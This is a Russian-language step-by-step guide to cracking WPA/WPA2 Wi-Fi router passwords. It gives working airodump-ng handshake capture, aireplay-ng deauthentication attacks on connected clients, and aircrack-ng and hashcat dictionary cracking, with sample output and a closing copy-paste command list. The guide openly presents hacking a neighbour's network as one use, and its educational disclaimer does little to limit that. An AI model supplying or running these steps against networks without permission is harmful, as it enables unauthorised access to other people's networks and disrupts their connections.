
Взлом маршрутизаторов Wi-Fi WPA/WPA2 с помощью Airodump-ng и Aircrack-ng/Hashcat
Взлом WPA/WPA2 Wi-Fi роутеров с помощью Airodump-ng и Aircrack-ng/Hashcat.
Это краткое пошаговое руководство, иллюстрирующее, как взломать сети Wi-Fi, защищённые с помощью слабых паролей. Оно не является исчерпывающим, но должно предоставить достаточно информации, чтобы проверить безопасность вашей собственной сети или взломать соседнюю. Описанная ниже атака полностью пассивна (только прослушивание, ничего не передаётся с вашего компьютера), и её невозможно обнаружить, если вы не используете взломанный пароль. Опциональная активная атака деаутентификации может быть использована для ускорения процесса разведки и описана в конце этого документа.
Если вы знакомы с этим процессом, можете пропустить описания и перейти к списку команд в нижней части. Различные предложения и альтернативные методы можно найти в приложении. neal1991 и tiiime также любезно предоставили переводы этого документа и приложения на китайский язык, если вы предпочитаете эти версии.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Это программное обеспечение/руководство предназначено только для образовательных целей. Его не следует использовать для незаконной деятельности. Автор не несёт ответственности за его использование. Не будьте мудаком.
Это руководство предполагает, что вы:
sudo apt-get install aircrack-ngНачните с вывода списка беспроводных интерфейсов, поддерживающих режим монитора, с помощью:
airmon-ng
Если вы не видите интерфейс в списке, значит ваша беспроводная карта не поддерживает режим монитора 😞
Будем считать, что имя вашего беспроводного интерфейса — wlan0, но обязательно используйте правильное имя, если оно отличается. Далее переведём интерфейс в режим монитора:
airmon-ng start wlan0
Выполните iwconfig. Теперь вы должны увидеть новый интерфейс режима монитора (скорее всего, mon0 или wlan0mon).
Начните прослушивание 802.11 Beacon кадров, передаваемых близлежащими беспроводными роутерами, используя ваш монитор-интерфейс:
airodump-ng mon0
Вы должны увидеть вывод, похожий на приведённый ниже.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
Для целей этой демонстрации мы выберем взлом пароля моей сети "hackme". Запомните BSSID MAC-адрес и номер канала (CH), отображаемые airodump-ng, так как они понадобятся на следующем шаге.
WPA/WPA2 использует 4-стороннее рукопожатие для аутентификации устройств в сети. Вам не обязательно знать, что это значит, но вам нужно захватить одно из таких рукопожатий, чтобы взломать пароль сети. Эти рукопожатия происходят всякий раз, когда устройство подключается к сети, например, когда ваш сосед возвращается с работы. Мы захватываем это рукопожатие, направляя airmon-ng на мониторинг трафика целевой сети, используя канал и bssid, полученные из предыдущей команды.
# замените значения -c и --bssid на значения вашей целевой сети
# -w указывает директорию, куда мы сохраним захват пакетов
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Теперь ждём... Как только вы захватите рукопожатие, в верхнем правом углу экрана, справа от текущего времени, должно появиться что-то вроде [ WPA handshake: bc:d3:c9:ef:d2:67.
Если вам не терпится, и вы готовы использовать активную атаку, вы можете заставить устройства, подключённые к целевой сети, переподключиться, отправив им вредоносные пакеты деаутентификации. Это часто приводит к захвату 4-стороннего рукопожатия. См. раздел об атаке деаутентификации ниже.
Как только вы захватили рукопожатие, нажмите ctrl-c, чтобы выйти из airodump-ng. Вы должны увидеть файл .cap там, куда вы указали airodump-ng сохранить захват (скорее всего, он называется -01.cap). Мы будем использовать этот файл захвата для взлома пароля сети. Я предпочитаю переименовывать этот файл, чтобы он отражал имя сети, которую мы пытаемся взломать:
mv ./-01.cap hackme.cap
Последний шаг — взлом пароля с использованием захваченного рукопожатия. Если у вас есть доступ к GPU, я настоятельно рекомендую использовать hashcat для взлома паролей. Я создал простой инструмент, который делает использование hashcat очень простым, он называется naive-hashcat. Если у вас нет доступа к GPU, существуют различные онлайн-сервисы взлома на GPU, такие как GPUHASH.me или OnlineHashCrack. Вы также можете попробовать взлом на CPU с помощью Aircrack-ng.
Обратите внимание, что оба метода атаки ниже предполагают относительно слабый пароль, сгенерированный пользователем. Большинство роутеров WPA/WPA2 поставляются с сильными случайными паролями из 12 символов, которые многие пользователи (справедливо) оставляют без изменений. Если вы пытаетесь взломать один из таких паролей, рекомендую использовать файлы словарей Probable-Wordlists WPA-length.
naive-hashcat (рекомендуется)Прежде чем мы сможем взломать пароль с помощью naive-hashcat, нам нужно преобразовать наш файл .cap в эквивалентный формат файла hashcat .hccapx. Это легко сделать, загрузив файл .cap на сайт https://hashcat.net/cap2hccapx/ или используя инструмент cap2hccapx напрямую.
cap2hccapx.bin hackme.cap hackme.hccapx
Затем скачайте и запустите naive-hashcat:
# скачиваем
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# скачиваем файл словаря rockyou размером 134 МБ
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# взламываем! детка! взламываем!
# 2500 — это хэш-режим hashcat для WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat использует различные словарные, правила, комбинаторные и масочные (умный перебор) атаки, и это может занять дни или даже месяцы для паролей средней сложности. Взломанный пароль будет сохранён в файл hackme.pot, поэтому периодически проверяйте его. Как только вы взломаете пароль, содержимое вашего POT_FILE будет выглядеть примерно так:
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
Где последние два поля, разделённые :, — это имя сети и пароль соответственно.
Если вы хотите использовать hashcat без naive-hashcat, информацию можно найти на этой странице.
Aircrack-ng можно использовать для очень простых словарных атак, выполняемых на вашем CPU. Перед запуском атаки вам понадобится список слов. Рекомендую использовать пресловутый словарь rockyou:
# скачиваем файл словаря rockyou размером 134 МБ
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Обратите внимание: если пароль сети отсутствует в файле слов, вы не взломаете пароль.
# -a2 указывает WPA2, -b — BSSID, -w — файл слов
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
Если пароль будет взломан, вы увидите сообщение KEY FOUND! в терминале, а затем версию пароля сети в открытом виде.
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Атака деаутентификации отправляет поддельные пакеты деаутентификации с вашей машины клиенту, подключённому к сети, которую вы пытаетесь взломать. Эти пакеты содержат поддельные адреса «отправителя», которые заставляют клиента думать, что они были отправлены самой точкой доступа. После получения таких пакетов большинство клиентов отключаются от сети и немедленно переподключаются, предоставляя вам 4-стороннее рукопожатие, если вы слушаете с помощью airodump-ng.
Используйте airodump-ng для мониторинга конкретной точки доступа (с помощью -c channel --bssid MAC), пока не увидите подключённого клиента (STATION). Пример подключённого клиента выглядит так, где 64:BC:0C:48:97:F7 — MAC-адрес клиента.
CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
BSSID STATION PWR Rate Lost Frames Probe
9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
Теперь оставьте airodump-ng работать и откройте новый терминал. Мы будем использовать команду aireplay-ng, чтобы отправить поддельные пакеты деаутентификации нашему клиенту-жертве, вынудив его переподключиться к сети и, возможно, захватив рукопожатие в процессе.
# -0 2 указывает, что мы хотим отправить 2 пакета деаутентификации. Увеличьте это число
# при необходимости, но с риском заметно нарушить сетевую активность клиента
# -a — MAC-адрес точки доступа
# -c — MAC-адрес клиента
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
Вы также можете опционально отправить широковещательные пакеты деаутентификации всем подключённым клиентам:
# хотя не все клиенты реагируют на широковещательные деаутентификации
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
После отправки пакетов деаутентификации вернитесь к процессу airodump-ng; с некоторой удачей теперь в верхнем правом углу вы должны увидеть что-то вроде: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Теперь, когда вы захватили рукопожатие, можно приступать к взлому пароля сети.
Ниже приведён список всех команд, необходимых для взлома сети WPA/WPA2, по порядку, с минимальными пояснениями.
# переводим сетевое устройство в режим монитора
airmon-ng start wlan0
# прослушиваем все близлежащие beacon-кадры для получения BSSID и канала цели
airodump-ng mon0
# начинаем прослушивание рукопожатия
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# опционально деаутентифицируем подключённого клиента, чтобы принудительно получить рукопожатие
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## взлом пароля с помощью aircrack-ng... ##########
# скачиваем словарь rockyou.txt размером 134 МБ, если необходимо
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# взлом с помощью aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## или взлом пароля с помощью naive-hashcat ##########
# преобразуем cap в hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# взлом с помощью naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Реакция на это руководство была настолько замечательной, что я добавил предложения и дополнительный материал от участников сообщества в виде приложения. Ознакомьтесь с ним, чтобы узнать, как:
wlandump-ngcrunch для создания списков слов объёмом 100+ ГБ на летуmacchangerКитайская версия приложения также доступна.
Большая часть представленной здесь информации была почерпнута из отличного руководства Льюиса Энкарнасьона. Также спасибо замечательным авторам и сопровождающим, которые работают над Aircrack-ng и Hashcat.
Огромное спасибо neal1991 и tiiime за перевод этого руководства на китайский язык. Дополнительная благодарность yizhiheng, hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp и Shark0der, которые также предоставили предложения и исправления опечаток на Reddit и GitHub. Если вам интересно услышать некоторые предлагаемые альтернативы WPA2, ознакомьтесь с отличной дискуссией в этом посте на Hacker News.